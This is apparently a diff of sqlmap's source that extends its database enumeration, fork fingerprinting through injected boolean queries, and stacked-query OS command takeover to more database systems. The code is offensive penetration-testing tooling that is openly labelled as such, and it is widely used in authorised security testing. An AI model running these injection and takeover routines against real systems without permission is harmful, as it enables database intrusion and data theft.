@@ -83,7 +85,8 @@ class Enumeration(GenericEnumeration):
|
|||||||
|
|
||||||
for db in dbs:
|
for db in dbs:
|
||||||
query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER')
|
query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER')
|
||||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True)
|
blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
|
||||||
|
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind)
|
||||||
|
|
||||||
if retVal:
|
if retVal:
|
||||||
for table in list(retVal[0].values())[0]:
|
for table in list(retVal[0].values())[0]:
|
||||||
@@ -204,8 +207,10 @@ class Enumeration(GenericEnumeration):
|
|||||||
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
|
||||||
|
|
||||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
|
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
|
||||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True)
|
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind)
|
||||||
|
|
||||||
if retVal:
|
if retVal:
|
||||||
table = {}
|
table = {}
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
|||||||
|
|
||||||
class Enumeration(GenericEnumeration):
|
class Enumeration(GenericEnumeration):
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
warnMsg = "on Mckoi it is not possible to get a banner"
|
warnMsg = "on Mckoi it is not possible to get the banner"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|||||||
@@ -92,8 +92,12 @@ class Fingerprint(GenericFingerprint):
|
|||||||
fork = FORK.MARIADB
|
fork = FORK.MARIADB
|
||||||
elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"):
|
elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"):
|
||||||
fork = FORK.TIDB
|
fork = FORK.TIDB
|
||||||
|
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%drizzle%'"):
|
||||||
|
fork = FORK.DRIZZLE
|
||||||
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"):
|
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"):
|
||||||
fork = FORK.PERCONA
|
fork = FORK.PERCONA
|
||||||
|
elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
|
||||||
|
fork = FORK.AURORA
|
||||||
else:
|
else:
|
||||||
fork = ""
|
fork = ""
|
||||||
|
|
||||||
|
|||||||
@@ -31,10 +31,16 @@ class Fingerprint(GenericFingerprint):
|
|||||||
if fork is None:
|
if fork is None:
|
||||||
if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
|
if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
|
||||||
fork = FORK.COCKROACHDB
|
fork = FORK.COCKROACHDB
|
||||||
elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version
|
elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version
|
||||||
fork = FORK.REDSHIFT
|
fork = FORK.REDSHIFT
|
||||||
elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png
|
elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png
|
||||||
fork = FORK.GREENPLUM
|
fork = FORK.GREENPLUM
|
||||||
|
elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html
|
||||||
|
fork = FORK.YELLOWBRICK
|
||||||
|
elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html
|
||||||
|
fork = FORK.ENTERPRISEDB
|
||||||
|
elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
|
||||||
|
fork = FORK.AURORA
|
||||||
else:
|
else:
|
||||||
fork = ""
|
fork = ""
|
||||||
|
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ from lib.core.common import checkFile
|
|||||||
from lib.core.common import decloakToTemp
|
from lib.core.common import decloakToTemp
|
||||||
from lib.core.common import flattenValue
|
from lib.core.common import flattenValue
|
||||||
from lib.core.common import isListLike
|
from lib.core.common import isListLike
|
||||||
|
from lib.core.common import isNoneValue
|
||||||
from lib.core.common import isStackingAvailable
|
from lib.core.common import isStackingAvailable
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -105,7 +106,10 @@ class Takeover(GenericTakeover):
|
|||||||
output = inject.getValue(query, resumeValue=False)
|
output = inject.getValue(query, resumeValue=False)
|
||||||
|
|
||||||
if isListLike(output):
|
if isListLike(output):
|
||||||
output = os.linesep.join(flattenValue(output))
|
output = flattenValue(output)
|
||||||
|
|
||||||
|
if not isNoneValue(output):
|
||||||
|
output = os.linesep.join(output)
|
||||||
|
|
||||||
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
|
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
|
||||||
inject.goStacked(self._cleanupCmd)
|
inject.goStacked(self._cleanupCmd)
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
|||||||
|
|
||||||
class Enumeration(GenericEnumeration):
|
class Enumeration(GenericEnumeration):
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
warnMsg = "on Presto it is not possible to get a banner"
|
warnMsg = "on Presto it is not possible to get the banner"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|||||||
@@ -37,16 +37,19 @@ from lib.core.data import logger
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.decorators import stackedmethod
|
from lib.core.decorators import stackedmethod
|
||||||
|
from lib.core.dicts import ALTIBASE_TYPES
|
||||||
from lib.core.dicts import FIREBIRD_TYPES
|
from lib.core.dicts import FIREBIRD_TYPES
|
||||||
from lib.core.dicts import INFORMIX_TYPES
|
from lib.core.dicts import INFORMIX_TYPES
|
||||||
from lib.core.enums import CHARSET_TYPE
|
from lib.core.enums import CHARSET_TYPE
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import EXPECTED
|
from lib.core.enums import EXPECTED
|
||||||
|
from lib.core.enums import FORK
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.settings import CURRENT_DB
|
from lib.core.settings import CURRENT_DB
|
||||||
|
from lib.core.settings import PLUS_ONE_DBMSES
|
||||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||||
from lib.core.settings import UPPER_CASE_DBMSES
|
from lib.core.settings import UPPER_CASE_DBMSES
|
||||||
from lib.core.settings import VERTICA_DEFAULT_SCHEMA
|
from lib.core.settings import VERTICA_DEFAULT_SCHEMA
|
||||||
@@ -82,12 +85,12 @@ class Databases(object):
|
|||||||
if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA):
|
if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA):
|
||||||
kb.data.currentDb = VERTICA_DEFAULT_SCHEMA
|
kb.data.currentDb = VERTICA_DEFAULT_SCHEMA
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
|
warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
|
||||||
warnMsg += "schema names for enumeration as the counterpart to database "
|
warnMsg += "schema names for enumeration as the counterpart to database "
|
||||||
warnMsg += "names on other DBMSes"
|
warnMsg += "names on other DBMSes"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID):
|
||||||
warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
|
warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
|
||||||
warnMsg += "user names for enumeration as the counterpart to database "
|
warnMsg += "user names for enumeration as the counterpart to database "
|
||||||
warnMsg += "names on other DBMSes"
|
warnMsg += "names on other DBMSes"
|
||||||
@@ -107,7 +110,7 @@ class Databases(object):
|
|||||||
warnMsg += "names will be fetched from 'mysql' database"
|
warnMsg += "names will be fetched from 'mysql' database"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
|
warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
|
||||||
warnMsg += "for enumeration as the counterpart to database "
|
warnMsg += "for enumeration as the counterpart to database "
|
||||||
warnMsg += "names on other DBMSes"
|
warnMsg += "names on other DBMSes"
|
||||||
@@ -115,7 +118,7 @@ class Databases(object):
|
|||||||
|
|
||||||
infoMsg = "fetching database (schema) names"
|
infoMsg = "fetching database (schema) names"
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID):
|
||||||
warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms()
|
warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms()
|
||||||
warnMsg += "for enumeration as the counterpart to database "
|
warnMsg += "for enumeration as the counterpart to database "
|
||||||
warnMsg += "names on other DBMSes"
|
warnMsg += "names on other DBMSes"
|
||||||
@@ -155,7 +158,7 @@ class Databases(object):
|
|||||||
errMsg = "unable to retrieve the number of databases"
|
errMsg = "unable to retrieve the number of databases"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
@@ -217,12 +220,12 @@ class Databases(object):
|
|||||||
|
|
||||||
if bruteForce is None:
|
if bruteForce is None:
|
||||||
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
warnMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
warnMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
logger.error(errMsg)
|
logger.warn(warnMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
|
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
||||||
@@ -232,9 +235,9 @@ class Databases(object):
|
|||||||
tables = None
|
tables = None
|
||||||
|
|
||||||
if not tables:
|
if not tables:
|
||||||
errMsg = "cannot retrieve table names, "
|
warnMsg = "cannot retrieve table names, "
|
||||||
errMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms()
|
warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms()
|
||||||
logger.error(errMsg)
|
logger.warn(warnMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
else:
|
else:
|
||||||
return tables
|
return tables
|
||||||
@@ -273,7 +276,7 @@ class Databases(object):
|
|||||||
|
|
||||||
return kb.data.cachedTables
|
return kb.data.cachedTables
|
||||||
|
|
||||||
message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
|
message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]")
|
||||||
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
||||||
|
|
||||||
if choice == 'N':
|
if choice == 'N':
|
||||||
@@ -365,7 +368,7 @@ class Databases(object):
|
|||||||
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
|
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI):
|
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
query = rootQuery.blind.count
|
query = rootQuery.blind.count
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
|
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
|
||||||
@@ -386,17 +389,17 @@ class Databases(object):
|
|||||||
|
|
||||||
tables = []
|
tables = []
|
||||||
|
|
||||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if Backend.isDbms(DBMS.SYBASE):
|
if Backend.isDbms(DBMS.SYBASE):
|
||||||
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI):
|
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||||
query = rootQuery.blind.query % index
|
query = rootQuery.blind.query % index
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
|
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE):
|
||||||
query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
|
query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
|
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
|
||||||
@@ -526,15 +529,15 @@ class Databases(object):
|
|||||||
|
|
||||||
if bruteForce is None:
|
if bruteForce is None:
|
||||||
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
warnMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
warnMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
logger.error(errMsg)
|
logger.warn(warnMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
errMsg = "cannot retrieve column names, "
|
warnMsg = "cannot retrieve column names, "
|
||||||
errMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms()
|
warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms()
|
||||||
logger.error(errMsg)
|
logger.warn(warnMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
if bruteForce:
|
if bruteForce:
|
||||||
@@ -564,7 +567,7 @@ class Databases(object):
|
|||||||
|
|
||||||
return kb.data.cachedColumns
|
return kb.data.cachedColumns
|
||||||
|
|
||||||
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
|
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]")
|
||||||
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
||||||
|
|
||||||
if choice == 'N':
|
if choice == 'N':
|
||||||
@@ -602,10 +605,13 @@ class Databases(object):
|
|||||||
condQueryStr = "%%s%s" % colCondParam
|
condQueryStr = "%%s%s" % colCondParam
|
||||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||||
query += condQuery
|
query += condQuery
|
||||||
|
|
||||||
|
if Backend.isFork(FORK.DRIZZLE):
|
||||||
|
query = query.replace("column_type", "data_type")
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||||
query += condQuery
|
query += condQuery
|
||||||
@@ -702,6 +708,8 @@ class Databases(object):
|
|||||||
key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1]
|
key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1]
|
||||||
if Backend.isDbms(DBMS.FIREBIRD):
|
if Backend.isDbms(DBMS.FIREBIRD):
|
||||||
columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
|
columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
|
||||||
|
elif Backend.isDbms(DBMS.ALTIBASE):
|
||||||
|
columnData[1] = ALTIBASE_TYPES.get(key, columnData[1])
|
||||||
elif Backend.isDbms(DBMS.INFORMIX):
|
elif Backend.isDbms(DBMS.INFORMIX):
|
||||||
notNull = False
|
notNull = False
|
||||||
if isinstance(key, int) and key > 255:
|
if isinstance(key, int) and key > 255:
|
||||||
@@ -744,7 +752,7 @@ class Databases(object):
|
|||||||
condQueryStr = "%%s%s" % colCondParam
|
condQueryStr = "%%s%s" % colCondParam
|
||||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||||
query += condQuery
|
query += condQuery
|
||||||
|
|
||||||
@@ -811,7 +819,7 @@ class Databases(object):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
for index in getLimitRange(count):
|
for index in getLimitRange(count):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||||
query += condQuery
|
query += condQuery
|
||||||
field = None
|
field = None
|
||||||
@@ -865,7 +873,7 @@ class Databases(object):
|
|||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if not onlyColNames:
|
if not onlyColNames:
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
|
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
|
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||||
@@ -956,7 +964,7 @@ class Databases(object):
|
|||||||
db = db.upper()
|
db = db.upper()
|
||||||
table = table.upper()
|
table = table.upper()
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI):
|
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True))
|
query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True))
|
||||||
else:
|
else:
|
||||||
query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True))
|
query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True))
|
||||||
@@ -984,7 +992,7 @@ class Databases(object):
|
|||||||
if not conf.db:
|
if not conf.db:
|
||||||
conf.db, conf.tbl = conf.tbl.split('.', 1)
|
conf.db, conf.tbl = conf.tbl.split('.', 1)
|
||||||
|
|
||||||
if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI):
|
if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
warnMsg = "missing database parameter. sqlmap is going to "
|
warnMsg = "missing database parameter. sqlmap is going to "
|
||||||
warnMsg += "use the current database to retrieve the "
|
warnMsg += "use the current database to retrieve the "
|
||||||
warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl)
|
warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl)
|
||||||
@@ -1013,7 +1021,10 @@ class Databases(object):
|
|||||||
rootQuery = queries[Backend.getIdentifiedDbms()].statements
|
rootQuery = queries[Backend.getIdentifiedDbms()].statements
|
||||||
|
|
||||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
